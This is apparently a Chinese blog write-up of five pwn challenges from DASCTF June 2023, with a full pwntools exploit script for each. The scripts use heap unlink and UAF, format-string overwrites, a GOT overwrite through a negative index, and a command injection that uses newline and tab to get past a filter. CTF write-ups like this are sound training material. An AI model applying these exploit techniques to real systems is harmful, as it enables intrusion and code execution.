首页 > 其他分享 >DASCTF 2023六月挑战赛|二进制专项 PWN (上)

DASCTF 2023六月挑战赛|二进制专项 PWN (上)

时间:2024-07-22 14:56:13浏览次数:8  
标签:libc sendlineafter sendline io 2023 PWN recvuntil DASCTF payload

DASCTF 2023六月挑战赛|二进制专项 PWN (上)

1.easynote

edit函数对长度没有检查

free函数存在UAF漏洞

思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbin attack,把__malloc_hook,写入one_gadget

2.通过unlink修改free got表为system

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./easynote')
#libc = ELF('/home/su/PWN/BUUCTF/Jqfx/EJZ/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')
#io=remote('node5.buuoj.cn',29421)
libc = ELF('./libc-2.23.so')


def add(size,msg):
    io.sendlineafter('5. exit','1')
    io.sendlineafter('content --->',str(size))
    io.sendlineafter('Content --->',msg)


def edit(index,size,msg):
    io.sendlineafter('5. exit','2')
    io.sendlineafter('Index --->',str(index))
    io.sendlineafter('content --->',str(size))
    io.sendafter('Content --->',msg)



def free(index):
    io.sendlineafter('5. exit','3')
    io.sendlineafter('Index --->',str(index))


def show(index):
    io.sendlineafter('5. exit','4')
    io.sendlineafter('Index --->',str(index))


fd = 0x6020C0 -0x18
bk = 0x6020C0 -0x10

add(0x88,'aaaa')
add(0x88,'dddd')

add(0x80,'cccc')
add(0x50,'/bin/sh\x00')
#gdb.attach(io)
free(2)
show(2)
io.recvuntil('Content: ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x68 -libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']

success('libc_base--->'+hex(libc_base))
payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(0,len(payload),payload)
free(1)
gdb.attach(io)
payload = b'a'*0x20 + p64(0x602018)
edit(0,len(payload),payload)

edit(1,8,p64(system))

free(3)



io.interactive()

2.fooooood

非栈上格式化字符串漏洞,泄露地址,可以改循环次数,实现无限循环,最后改返回地址为one_gadget,即可

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./fooooood')
libc = ELF('./libc.so.6')
elf = ELF('./fooooood')

success('puts--->'+hex(libc.sym['puts']))
success('sys---->'+hex(libc.sym['system']))
#gdb.attach(io)
io.sendlineafter('name:','susu')

io.recvuntil(' favourite food:')
payload = b'%9$pa%11$pb%13$p'
io.sendline(payload)
io.recvuntil('You like')
libc_base = int(io.recv(15),16) - 240 - libc.sym['__libc_start_main']
success('libc_base---->'+hex(libc_base))
io.recvuntil('a')
stack_addr = int(io.recv(14),16) - 0xd0
success('stack_addr---->'+hex(stack_addr))
io.recvuntil('b')
elf_base = int(io.recv(14),16) - elf.sym['main']
success('elf_base----->'+hex(elf_base))
#gdb.attach(io)
count = stack_addr - 0x28
count1 = count & 0xffff
pop_rdi = libc_base + 0x0000000000021112 #: pop rdi ; ret
 
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').__next__()
one = libc_base + 0xf1247
payload = b'%'+str(count1+4).encode('utf-8') + b'c%11$hn'
io.recvuntil(' favourite food:')
io.sendline(payload)
io.recvuntil(' favourite food:')
payload = b'%'+str(0x5).encode('utf-8')+b'c%37$hhn'
io.sendline(payload)
#io.recvuntil(' favourite food:')
ret = stack_addr -0x10
ret1 = ret & 0xffff
payload =  b'%'+str(ret1).encode('utf-8') + b'c%11$hn'
io.sendline(payload)
io.recvuntil(' favourite food:')
success('pop_rdi---->'+hex(pop_rdi))
payload = payload = b'%'+str(one & 0xffff).encode('utf-8')+b'c%37$hn'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil(' favourite food:')
payload = b'%'+str(ret1+2).encode('utf-8')+b'c%11$hn'
io.sendline(payload)

io.recvuntil(' favourite food:')
payload = b'%'+str((one >> 16) & 0xffff).encode('utf-8') + b'c%37$hn'
#gdb.attach(io)
io.sendline(payload)

#addr = stack_addr - 8
#addr1  = addr & 0xffff

#io.recvuntil(' favourite food:')
#payload = payload =  b'%'+str(addr1).encode('utf-8') + b'c%11$hn'
#gdb.attach(io)
#io.sendline(payload)

#io.recvuntil(' favourite food:')
#payload = b'%'+str(system & 0xffff).encode('utf-8') + b'c%37$hn'
#io.sendline(payload)

#io.recvuntil(' favourite food:')
#payload = payload =  b'%'+str(addr1 + 2).encode('utf-8') + b'c%11$hn'
#io.sendline(payload)
#io.recvuntil(' favourite food:')
#payload = b'%'+str(system >> 16 & 0xffff).encode('utf-8') + b'c%37$hn'
#gdb.attach(io)
#io.sendline(payload)



io.interactive()

3.Candy_Shop

这里对输入的v1没有检查,可以输入负数,修改到got表

通过格式化字符串泄露libc地址

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./Candy_Shop')
libc = ELF('./Candy_Shop.so.6')

success('puts---->'+hex(libc.sym['puts']))


def eat():
    io.sendlineafter('option: ','e')



def buy(offest,payload):
     io.sendlineafter('option: ','b')
     io.sendlineafter('want to bye:','t')
     io.sendlineafter('the candy in?',offest)
     io.sendlineafter('name!',payload)



def gift(payload):
     io.sendlineafter('option: ','g')
     io.sendlineafter('your name:',payload)



#gdb.attach(io)

payload = '%3$p'
gift(payload)
io.recvuntil('a gift:')
libc_base = int(io.recv(14),16) - 23 - libc.sym['write']
success('libc_base---->'+hex(libc_base))

system = libc_base + libc.sym['system']

buy('-10',b'a'*6+p64(system))

#gift('/bin/sh\x00')

io.sendline('g')
io.sendline('/bin/sh')

io.interactive()

4.server

这里可以实现目录穿越,填满0x20个字节,一个存在的文件如/flag

做了过滤

但是没有过滤\n和\t,通过\n分割命令,\t代替空格读取flag

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')


#io = process('./server')
io = remote('node5.buuoj.cn',27810)


io.sendlineafter('choice >>','1')
io.sendlineafter('Please input the key of admin :',b'..///////////////////bin/sh')


#pause()

#sleep(2)
io.sendlineafter('choice >>','2')
io.recvuntil('username to add')
io.send("66cat\tfl*\n")
io.sendlineafter('choice >>','2')
io.recvuntil('username to add')
io.send("'\n")
io.interactive()

5.Approoooooooaching

一个虚拟机的题目

存在后门,对输入的字符进行解码处理对于相应的功能

通过偏移到返回地址最后一位修改为后门

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./bf')

io.recvuntil('choice:')
io.sendline('1')
io.sendlineafter('size:',str(0x300))

io.recvuntil('choice:')
io.sendline('2')
io.sendline('iiiiyy')

io.recvuntil('choice:')
io.sendline('3')


io.recvuntil('choice:')
io.sendline('4')
gdb.attach(io)
io.send('\xe0')

io.interactive()

还有三道下篇详细讲......

 

标签:libc,sendlineafter,sendline,io,2023,PWN,recvuntil,DASCTF,payload
From: https://www.cnblogs.com/CH13hh/p/18316002

相关文章

  • DASCTF 2023六月挑战赛|二进制专项 PWN (上)
    DASCTF2023六月挑战赛|二进制专项PWN(上)1.easynoteedit函数对长度没有检查free函数存在UAF漏洞思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbinattack,把__malloc_hook,写入one_gadget2.通过unlink修改freegot表为systemexp:frompwnimport*context(lo......
  • ScaleDet:AWS 基于标签相似性提出可扩展的多数据集目标检测器 | CVPR 2023
    论文提出了一种可扩展的多数据集目标检测器(ScaleDet),可通过增加训练数据集来扩大其跨数据集的泛化能力。与现有的主要依靠手动重新标记或复杂的优化来统一跨数据集标签的多数据集学习器不同,论文引入简单且可扩展的公式来为多数据集训练产生语义统一的标签空间,通过视觉文本对齐进......
  • 2023年度好题(1)
    文章有点长,都是由本人一点一点写出来的,公式加载需要一段时间。CF1152ENekoandFlashback思路来自@apple365。思路任意一组\(b_i,c_i\)都是相邻的两条边,所以我们将\(b_i\)和\(c_i\)连起来,如果可以跑通一条欧拉路径,那么这条欧拉路径上的所有数字就可以组成数组\(a\)......
  • DASCTF暑期挑战赛Reverse
    DosSnake8086汇编代码编写的一个贪吃蛇小游戏使用DosBox运行一下:直接拖进IDA查看汇编代码算了,由于这个程序只给了一个数据段,通过它找到代码加密逻辑(前面一大段的汇编代码都是为了实现贪吃蛇这个小游戏没啥用,我们直接看加密部分即可):逻辑非常简单,aDasctf的前6部分作为key,......
  • DASCTF 2024暑期挑战赛-WEB-Sanic's revenge gxngxngxn
    DASCTF-WEB-Sanic'srevengegxngxngxn写在开篇碎碎念在我上篇文章(https://www.cnblogs.com/gxngxngxn/p/18205235)的结尾,我分享了两点我在寻找污染链的过程中发现的一些新玩意。其中作为本题考点之一的file_or_directory就在其中,没看过的师傅可以看一眼(orz。而本题主要考点的......
  • 塔子哥的最大数组-美团2023笔试(codefun2000)
    题目链接塔子哥的最大数组-美团2023笔试(codefun2000)题目内容塔子哥有一个长度为n的数组a,默认的求和方式是将a中所有元素加起来。但是塔子哥有一种技能,可以将求和的其中一次加法转换为乘法操作。在这种情况下,数组a的最大和为多少。输入描述第一行,一个正整......
  • DASCTF 2024暑期挑战赛------1z_RSA
    题目:fromCrypto.Util.numberimport*fromsympyimport*importosfromsecretsimportflagnbit=130e=3l=getPrime(505)m=bytes_to_long(flag+os.urandom(64))assertlen(flag)==29whileTrue:p,q=getPrime(nbit),getPrime(nbit)PQ=......
  • GESP C++ 二级真题(2023年12月)T1 小杨做题
    问题描述:为了准备考试,小杨每天都要做题。第一天做了a道题;第二天做了b道题;从第三天起,小杨每天做的题目数量是前两天的总和。此外,小杨还规定当自己某一天做了大于或等于m题时,接下来的日子,他就不做题了。请问到了第n天,小杨总共做了多少道题?输入描述:总共4行。第一行一个整数a,......
  • 2023年度好题(1)
    文章有点长,都是由本人一点一点写出来的,公式加载需要一段时间。CF1152ENekoandFlashback思路来自@apple365。思路任意一组\(b_i,c_i\)都是相邻的两条边,所以我们将\(b_i\)和\(c_i\)连起来,如果可以跑通一条欧拉路径,那么这条欧拉路径上的所有数字就可以组成数组\(a\)......
  • P9032 [COCI2022-2023#1] Neboderi
    题意给长度为\(n\)的数组\(a\),求长度不小于\(k\)的区间\([l,r]\)使得\(\gcd_{i=l}^ra_i\times\sum_{i=l}^ra_i\)最大,输出这个最大值。\(1\lek\len\le10^6,1\lea_i\le10^6\qquad\text{2.5s512MB}\)题解考虑分治(这是套路,想不到只能说做题少别打我)。......